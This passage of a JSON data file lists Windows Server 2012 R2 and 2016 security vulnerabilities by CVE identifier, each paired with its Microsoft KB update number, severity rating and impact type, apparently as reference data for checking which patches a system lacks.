Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099444","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123066","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601384","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005076","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029312","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025285","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026415","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039294","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041828","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043138","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048735","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050048","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053887","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053887","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055557","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058403","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066873","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062597","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063950","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063950","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070886","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099444","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123066","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2 (server core installation)":[{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code 